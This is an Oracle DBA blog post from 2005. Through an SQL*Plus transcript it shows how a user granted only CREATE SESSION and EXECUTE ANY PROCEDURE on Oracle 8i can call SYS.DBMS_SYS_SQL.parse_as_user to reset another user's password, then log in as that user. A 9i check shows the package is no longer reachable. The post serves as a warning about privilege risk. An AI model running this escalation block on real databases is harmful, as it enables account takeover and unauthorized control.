« What's mean ORA-25191? | Blog首页 | 楠溪江之美 »

Why "EXECUTE ANY PROCEDURE" is a dangerous PRIVILEGE?

All I need is "CREATE SESSION" and "EXECUTE ANY PROCEDURE" and 
I can totally do anything I want to in your database.

$ sqlplus "/ as sysdba"

SQL*Plus: Release 8.1.7.0.0 - Production on Tue May 10 09:57:41 2005

(c) Copyright 2000 Oracle Corporation.  All rights reserved.


Connected to:
Oracle8i Enterprise Edition Release 8.1.7.4.0 - 64bit Production
With the Partitioning option
JServer Release 8.1.7.4.0 - 64bit Production

SQL> create user hacker identified by hacker default tablespace users temporary  
  2  tablespace temp;

User created.

SQL> grant create session to hacker;

Grant succeeded.

SQL> grant execute any procedure to hacker;

Grant succeeded.

SQL> create user loser identified by loser default tablespace users temporary
  2  tablespace temp;

User created.

SQL> grant connect to loser;

Grant succeeded.

SQL> connect hacker/hacker
Connected.
SQL> desc sys.dbms_sys_sql
PROCEDURE BIND_ARRAY
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 C                              NUMBER(38)              IN
 NAME                           VARCHAR2                IN
 N_TAB                          TABLE OF NUMBER         IN
PROCEDURE BIND_ARRAY
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 C                              NUMBER(38)              IN
 NAME                           VARCHAR2                IN
 C_TAB                          TABLE OF VARCHAR2(2000) IN
....
PROCEDURE VARIABLE_VALUE_ROWID
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 C                              NUMBER(38)              IN
 NAME                           VARCHAR2                IN
 VALUE                          ROWID                   OUT

SQL> connect hacker/hacker
Connected.

SQL> DECLARE
  2     UID       NUMBER;
  3     sqltext   VARCHAR2 (100) := 'alter user loser identified by test';
  4     c         INTEGER;
  5  BEGIN
  6     c := SYS.DBMS_SYS_SQL.open_cursor ();
  7     SYS.DBMS_SYS_SQL.parse_as_user (c, sqltext, DBMS_SQL.native, 0);
  8     SYS.DBMS_SYS_SQL.close_cursor (c);
  9      END;
 10  /
  
PL/SQL procedure successfully completed.

SQL> connect loser/loser
ERROR:
ORA-01017: invalid username/password; logon denied


Warning: You are no longer connected to ORACLE.
SQL> connect loser/test
Connected.

SQL> 

SQL> grant execute any procedure to test;

Grant succeeded.

Elapsed: 00:00:00.33
SQL> connect test/test
Connected.
SQL> desc dbms_sys_sql
ERROR:
ORA-04043: object dbms_sys_sql does not exist


SQL> desc sys.dbms_sys_sql
ERROR:
ORA-04043: object sys.dbms_sys_sql does not exist


SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0 - Production
PL/SQL Release 9.2.0.4.0 - Production
CORE    9.2.0.3.0       Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production

Elapsed: 00:00:00.32

By eygle on 2005-05-10 10:19 | Comments (3) | SQL.PLSQL | 281 |

Oracle8iPrivilegeProcedure